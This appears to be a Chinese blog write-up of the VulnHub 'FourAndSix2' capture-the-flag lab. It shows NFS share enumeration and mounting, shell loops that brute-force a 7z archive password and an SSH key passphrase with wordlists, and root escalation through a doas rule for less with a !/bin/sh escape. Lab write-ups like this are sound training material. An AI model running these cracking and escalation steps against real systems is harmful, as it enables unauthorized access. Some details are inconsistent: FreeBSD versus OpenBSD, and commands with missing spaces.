• FourAndSix: 2.01靶机入侵


     

    0x01 前言

    FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息

    FourAndSix2.镜像下载地址:

    https://download.vulnhub.com/fourandsix/FourAndSix2.ova

    0x02 信息收集

    1.存活主机扫描

    arp-scan  -l

    发现192.168.1.9是目标靶机系统

    2.端口探测

    使用Nmap对靶机进行扫描

    nmap -A 192.168.1.9

    查询到开放的端口及服务:22-ssh、111-rpcbind、2049-nfs、612-mountd

    0x03 漏洞利用

    1.nfs漏洞利用

    开放2049端口,nmap探测显示为nfs服务,使用metasploit进行扫描可挂载目录

    msf > use  auxiliary/scanner/nfs/nfsmount
    
    msf auxiliary(scanner/nfs/nfsmount) > show options
    
     
    
    Module options (auxiliary/scanner/nfs/nfsmount):
    
     
    
       NameCurrent Setting  Required  Description
    
       -------------------  --------  -----------
    
       PROTOCOLudp              yes       The protocol to use (Accepted: udp, tcp)
    
       RHOSTS                     yes       The target address range or CIDR identifier
    
       RPORT111              yes       The target port (TCP)
    
       THREADS1                yes       The number of concurrent threads
    
     
    
    msf auxiliary(scanner/nfs/nfsmount) > set rhosts192.168.1.9
    
    rhosts => 192.168.1.9
    
    msf auxiliary(scanner/nfs/nfsmount) > run
    
     
    
    [+] 192.168.1.9:111       - 192.168.1.9 NFS Export: /home/user/storage []
    
    [*] Scanned 1 of 1 hosts (100% complete)
    
    [*] Auxiliary module execution completed

    也可以利用showmount  -e查看目标系统可挂载目录

    发现可挂载目录/home/user/storage

    通过mount名挂载目录:

    mkdir  /tmp/storage
    
    mount  -t  nfs 192.168.1.9:/home/user/storage/tmp/storage

    注意:有时候在kali系统中mount命令不能使用可能是文件损坏了,需要重新更新安装

    apt-get install nfs-common

    发现backup.7z这个压缩包,使用7z e backup.7z尝试解压,提示需要密码

    2.backup.7z爆破

    查找资料发现可以用rarcrack对7z压缩包进行爆破,rarcrack破解命令为:

    apt-get install rarcrack
    
    rarcrack --threads 4 --type 7z backup.7z

    也可以使用7z命令进行字典爆破

    7z破解脚本:

    https://raw.githubusercontent.com/exexute/PythonScaffold/PythonScaffold_0.1/enum_violence/file_enum/7z-crack.sh

    其命令内容为:

    cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done

    使用方法:

    ./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt

    最终,7z破解脚本成功破解到压缩包密码:chocolate

    解压backup.7z发现一堆图片,以及id_rsaid_rsa.pub

    通过破解出来的密码chocolate对.7z进行解压,解压后提取其内容,可发现一些图片和RSA密钥。由于端口22在目标计算机上运行SSH服务,我们可以使用RSA私钥登录。打开RSA公钥来查看用户名。

    于是猜测可以通过公私钥登录服务器,将私钥放到/root/.ssh目录下,连接服务器

    cp id_rsa  /root/.ssh
    
    sshuser@192.168.1.9

    我们尝试登录ssh,但它要求密码。因此,我们创建了以下脚本来查找正确的私钥密码。

    root@kali2018:/tmp/storage# cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt  |while read pass;do if ssh-keygen -c -C "user@forandsix" -P $pass -f id_rsa &>/dev/null;then echo $pass; break; fi; done

    爆破得到密码为12345678

    或者

    root@kali2018:/tmp/storage# cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f  id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done;

    通过破解成功的密码进行远程ssh登录

    0x04 权限提升

    进入shell后,发现当前系统是FreeBSD 6.4的,搜索之后发现内核没有可提权的漏洞,于是将重点放在配置、文件和服务上。

    查看当前用户权限及系统信息

     

    fourandsix2$ id
    
    uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
    
    fourandsix2$ uname -a
    
    OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

     

    我们使用find命令来定位设置了SUID的文件或包。

    find / -perm  -u=s -type  f 2>/dev/null

    通过find命令我们找到了suid权限运行的程序/usr/bin/doas,它是sudo命令的替代。doas是BSD系列系统下的权限管理工具,类似于Debian系列下的sudo命令

    在阅读“doas.conf”文件后,我们发现“less”可以以root身份运行。

    查看/etc目录,有doas.conf

    fourandsix2$ cat /etc/doas.conf
    
    permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
    
    permit nopass keepenv root as root

    让我们查看配置文件并尝试理解。Doas实用程序根据doas.conf配置文件中的规则以其他用户身份执行命令。

    Permit/Deny允许/拒绝规则

    Nopass用户无需输入任何密码

    Persist用户成功通过身份验证后,请勿再次请求密码验证

    Keepenv:维持用户的环境

    Cmd允许命令运行

    doas.conf文件可以看到,当前用户能够以root权限使用less命令查看/var/log/authlog文件,并且不需要当前用户密码以及root密码。

    doas /usr/bin/less /var/log/authlog查看日志文件,然后直接按v,可进入编辑模式,但是会提示只读,进入编辑模式后,可以通过vi编辑器操作方式

    doas /usr/bin/less /var/log/authlog

     

    执行系统命令,即:!/bin/sh,此时便会提升到root权限

    最后一步获取falg信息,它在root目录下。

    通过ID查询当前用户权限为root,然后使用cat flag.txt查看flag信息。

     

     

  • 相关阅读:
    升级:Logical Upgrade升级MySQL5.6.26
    基于GTID恢复误篡改数据
    mysql迁移:ibd表空间迁移库表
    mysql迁移:xtrabackup迁移mysql5.7.32
    Pycharm最新激活码2019
    转载:Prometheus+Grafana搭建HBase监控仪表盘
    总结《Elasticsearch源码解析和优化实战》第一讲
    yarn resourcemanager调优
    presto安装和集成kerberos的hive
    转载:shell expect实战实例
  • 原文地址:https://www.cnblogs.com/backlion/p/10363747.html
Copyright © 2020-2023  润新知